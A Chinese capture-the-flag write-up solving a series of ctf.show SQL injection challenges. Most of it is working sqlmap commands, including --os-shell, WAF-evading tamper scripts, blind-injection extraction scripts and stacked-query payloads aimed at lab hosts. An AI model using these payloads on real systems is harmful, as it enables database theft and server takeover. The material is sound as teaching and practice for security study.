python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 --dbs --tamper=space2comment --batch
python2 sqlmap.py -u "http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca --dump --tamper=space2comment --batch
--tamper 的2体验
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
返回逻辑//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}
过滤大小写空格,所以直接上题tamper就可以。
python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --dump --tamper=space2comment --batch
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
返回逻辑//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |*|=/', $str);
}
过滤空格,* ,= .
还是自己学写 tamper 脚本吧,
教程点这里
#!/usr/bin/env python from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): payload = space2comment(payload) return payload def space2comment(payload): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr(0x0a) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == "*": retVal += chr(0x31) continue elif payload[i] == "=": retVal += chr(0x0a)+'like'+chr(0x0a) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr(0x0a) continue retVal += payload[i] return retVal
python2 sqlmap.py -u http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav --dump --tamper=web209 --batch
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
先解码再字符反转再解码再字符反转.
python2 sqlmap.py -u http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --dump --tamper=web210 --batch
#!/usr/bin/env python import base64 from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): if payload: payload = base64.b64encode(payload[::-1].encode("utf-8")) payload = base64.b64encode(payload[::-1].encode("utf-8")) return payload
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}
那就先加个空格绕过,
python2 sqlmap.py -u http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia --dump --tamper=web211 --batch
#!/usr/bin/env python import base64 from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ if payload: payload = payload.replace(" ","/**/") payload = base64.b64encode(payload[::-1].encode("utf-8")) payload = base64.b64encode(payload[::-1].encode("utf-8")) return payload
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |*/', $str);
}
python2 sqlmap.py -u http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis --dump --tamper=web212 --batch
#!/usr/bin/env python import base64 from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def space2comment(payload): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr(0x0a) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == "*": retVal += chr(0x31) continue elif payload[i] == "=": retVal += chr(0x0a)+'like'+chr(0x0a) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr(0x0a) continue retVal += payload[i] return retVal def tamper(payload, **kwargs): if payload: payload = space2comment(payload) payload = payload.replace(" ","/**/") payload = base64.b64encode(payload[::-1].encode("utf-8")) payload = base64.b64encode(payload[::-1].encode("utf-8")) return payload
练习使用--os-shell 一键getshell
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |*/', $str);
}
https://zhuanlan.zhihu.com/p/58007573
python2 sqlmap.py -u http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/getToken.php" --safe-freq=1 --os-shell --tamper=web212 --batch
直接getshell
payload:
post: debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(2),0)
写个脚本:
自增法:
# @Author: yanmie import requests url = "http://404d8d96-01d3-4d8e-a14e-aaf5c80a5d67.chall.ctf.show/api/" payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(2),0)" i = 0 table = "" while True: i += 1 for j in range(127): data = { "debug" : 1, "ip" : payload.format(i,j) } try: response = requests.post(url=url,data=data,timeout=1) except Exception as e: break; if j == 126: break table += chr(j) print(table.lower()) # 得到 ctfshow_flagx,ctfthow_info
有点慢,在写个二分法:
# @Author: yanmie import requests url = "http://1a8ae547-99fa-47fe-b1a2-7a163a579dcf.chall.ctf.show/api/" # payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(2),0)" # 得到 ctfshow_flagx,ctfthow_info # payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))>{},sleep(2),0)" # 得到 id,flaga,info payload = "if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(3),0)" # 得到 flag i = 0 result = "" while True: i += 1 head = 0 tail =127 while head<tail: mid = (head+tail)//2 data = { "debug" : 1, "ip" : payload.format(i,mid) } try: response = requests.post(url=url,data=data,timeout=2) # print(head,tail,mid) tail = mid except Exception as e: head = mid+1 if head == 0: break result += chr(head) print(result.lower())
//用了单引号
payload:
POST: debug=1&ip=1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0) and '1'='1
脚本:
# @Author: yanmie import requests url = "http://b8e578e0-8b1d-4e02-a389-41a12277e5e8.chall.ctf.show/api/" # payload = "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0) and '1'='1" # 得到 ctfshow_flagxc,ctfshow_info payload = "1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))>{},sleep(5),0) and '1'='1" # 得到 id,flagaa,info payload = "1' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1))>{},sleep(5),0) and '1'='1" # 得到 flag i = 0 result = "" while True: i += 1 head = 0 tail =127 while head<tail: mid = (head+tail)//2 data = { "debug" : 1, "ip" : payload.format(i,mid) } try: response = requests.post(url=url,data=data,timeout=2) # print(head,tail,mid) tail = mid except Exception as e: head = mid+1 if head == 0: break result += chr(head) print(result.lower())
where id = from_base64($id);
payload:
debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0)and (1=1
# @Author: yanmie import requests url = "http://5abfff46-12f9-4393-b2cc-6e1e1380b39f.chall.ctf.show/api/" # payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0)and (1=1" # 得到 ctfshow_flagxcc,ctfshow_info # payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))>{},sleep(5),0)and (1=1" # 得到 id,flagaac,info payload = "1) or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1))>{},sleep(5),0) and (1=1" # 得到 flag i = 0 result = "" while True: i += 1 head = 0 tail =127 while head<tail: mid = (head+tail)//2 data = { "debug" : 1, "ip" : payload.format(i,mid) } try: response = requests.post(url=url,data=data,timeout=2) # print(head,tail,mid) tail = mid except Exception as e: head = mid+1 if head == 0: break result += chr(head) print(result.lower())
查询语句
where id = ($id);返回逻辑
//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}
过滤了 sleep 。
但是还有其他函数, mysql 时间盲注五种延时方法
BENCHMARK(count,expr)
BENCHMARK会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率。
那我们就让他计算很多次,时间不就长了吗?比如BENCHMARK(21111111+1)
,大约3秒多(口数)
payload:
debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,BENCHMARK(21111111,1+1),0)and (1=1
# @Author: yanmie import requests url = "http://146ccae4-2a48-4709-94be-49e0657a5056.chall.ctf.show/api/" # payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1" # 得到 ctfshow_flagxccb,ctfshow_info # payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1" # 得到 id,flagaabc,info payload = "1) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1" # 得到 flag i = 0 result = "" while True: i += 1 head = 0 tail =127 while head<tail: mid = (head+tail)//2 data = { "debug" : 1, "ip" : payload.format(i,mid) } try: response = requests.post(url=url,data=data,timeout=2) # print(head,tail,mid) tail = mid except Exception as e: head = mid+1 if head == 0: break result += chr(head) print(result.lower())
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}
把benchmark
也过滤了。
不过不慌还可以通过RLIKE
。
rpad(str,len,padstr)
返回字符串str,右填充以字符串str中垫到len字符长度。如果str为大于len,返回值被缩短至len个字符。repeat(str,count)
返回由字符串str重复count次的字符串。 如果计数小于1,则返回一个空字符串。返回NULL如果str或count为NULL。like 的内容不是正则,而是通配符
rlike 的内容可以是正则
如select rpad('a',2,'a') RLIKE concat(repeat('(a.*)+',2222222),'b');
耗时 4 秒左右
但是从web有点奇怪,就只返回固定的一小段时间。差不多 1 秒。
换种方式,迪卡尔积
payload:
debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}
过滤了rlike
,,可以笛卡尔积。
debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}
使用 ord 代替 ascii
使用 locate 代替 substr
使用笛卡尔积
查询语句
//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
返回逻辑//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢
在LIMIT
后面可以跟两个函数,PROCEDURE
和INTO
,into需要写权限,一般不常见,但是PROCEDURE
在msyql5.7以后已经弃用,8.0直接删除了。。。
P牛文章
payload:
http://1c1edfaa-f567-4fba-a04f-285c886e937d.chall.ctf.show/api/?page=2&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
查询语句
//分页查询
$sql = select * from ctfshow_user group by $username;返回逻辑
//TODO:很安全,不需要过滤
可使用盲注
payload
http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/?u=if((1=2),username,0)&page=2&limit=10
脚本:
# Author: yanmie import requests url = "http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/" # payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},username,0)" # 得到 ctfshow_flaga,ctfshow_user # payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{},1))>{},username,0)" # 得到 id,flagaabc,info payload = "if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{},1))>{},username,0)" # 得到flag result = "" i = 0 while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 param = { "u" : payload.format(i,mid), } response = requests.get(url=url,params=param) if "passwordAUTO" in response.text: head = mid+1 else: tail = mid if head==0: break; result += chr(head) print(result)
//用户名不能是数字
与上题一样,不过是过滤了数字.那就利用 true 为 1
payload:
http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/?u=if((true=true),username,'a')
脚本:
# Author: yanmie import requests url = "http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/" # payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},{}))>{},username,'a')" # 得到 ctfshow_flagas,ctfshow_user # payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{},{}))>{},username,'a')" # 得到 id,flagasabc,info payload = "if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{},{}))>{},username,'a')" # 得到 flag result = "" i = 0 def createNum(num): if num==1: return True else: res = "True" for i in range(num-1): res += "+True" return res while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 params = { "u" : payload.format(createNum(i),createNum(1),createNum(mid)), } response = requests.get(url=url,params=params) if "passwordAUTO" in response.text: head = mid+1 else: tail = mid if head == 0 : print("[+]the result is : ",result) break result += chr(head) print(result)
可以看这里
查询语句
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";返回逻辑
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}
过滤了很多,但没过滤 show ,可以配合 hander 读数据
https://blog.51cto.com/15023289/2559944
payload
?username=1';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
还可以预编译
预编译也能用变量
SET @tn = 'hahaha';
//存储表名SET @sql = concat('select * from ', @tn);
//存储SQL语句PREPARE name from @sql;
//预定义SQL语句EXECUTE name;
//执行预定义SQL语句(DEALLOCATE || DROP) PREPARE sqla;
//删除预定义SQL语句
username=1';show tables;PREPARE name from concat('sel','ect * from ctfshow_flagasa');EXECUTE name;
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}
过滤了show
和 括号,那就不能使用 concat 连接了。
使用十六进制编码
paylaod:
username=1';PREPARE name from 0x73686F77207461626C6573;EXECUTE name; username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE name;
存储过程。
参考:
https://www.runoob.com/w3cnote/mysql-stored-procedure.html https://blog.csdn.net/qq_41573234/article/details/80411079
# [http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE](http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE) name from 0x2053454C**4543542020202A20202046524F4D202020696E666F726D6174696F6E5F736368656D612E526F7574696E657320776865726520524F5554494E455F4E414D45203D27676574466C616727;EXECUTE name;
还是可以转十六进制。
过滤内容:
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","char":"union"},{"id":"2","char":"file"},{"id":"3","char":"into"},{"id":"4","char":"handler"},{"id":"5","char":"db"},{"id":"6","char":"select"},{"id":"7","char":"update"},{"id":"8","char":"dump"},{"id":"9","char":"delete"},{"id":"10","char":"create"},{"id":"11","char":"drop"},{"id":"12","char":"show"},{"id":"13","char":"describe"},{"id":"14","char":"set"},{"id":"15","char":"alter"}]}
payload:
?username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161;EXECUTE name;
十六进制。
payload:
?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C6167;EXECUTE name;
还是十六进制预编译
?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C61676161626278;EXECUTE name;
查询语句
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
payload:
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())where 1#&username=1 # 得到 banlist,ctfshow_user,flaga password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')where 1#&username=1 # 得到 id,flagas,info password=1',username=(select group_concat(flagas) from flaga)where 1#&username=1 # 得到flag
查询语句
//分页查询
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
和上一题一样的,
只不过闭合方式发生了变化。
payload:
password=1'),username=(select group_concat(flagass) from flagaa)where 1#&username=1
时间盲注,
payload:
password=1&username=ctfshow' and sleep(5) and '1'='1
脚本:
# @Author: yanmie import requests url = "http://97240940-d8ac-45e4-92f4-4d4baeb81d18.chall.ctf.show/api/" # paylaod = "ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(0.5),1) and '1'='1" # 得到 banlist,ctfshow_user,flag233333 # paylaod = "ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{},1))>{},sleep(0.5),1) and '1'='1" # 得到 id,flagass233,info paylaod = "ctfshow' and if(ascii(substr((select group_concat(flagass233) from flag233333),{},1))>{},sleep(0.5),1) and '1'='1" result = "" i = 0 while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "password" : 1, "username" : paylaod.format(i,mid), } try: response = requests.post(url=url,data=data,timeout=0.5) tail = mid except Exception as e: head = mid+1 if head == 0: print("[+]the result is : ",result) break result += chr(head) print(result)
过滤了单引号。可以利用\
实现单引号逃逸。
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
此时查询语句:
$sql = "update ctfshow_user set pass = '\' where username = '\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#';";
password就会变为' where username =
。
payload:
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666C6167323361)# password=\&username=,username=(select flagass23s3 from flag23a)#
看完上述内容,你们掌握php中常见sql注入类型有哪些的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。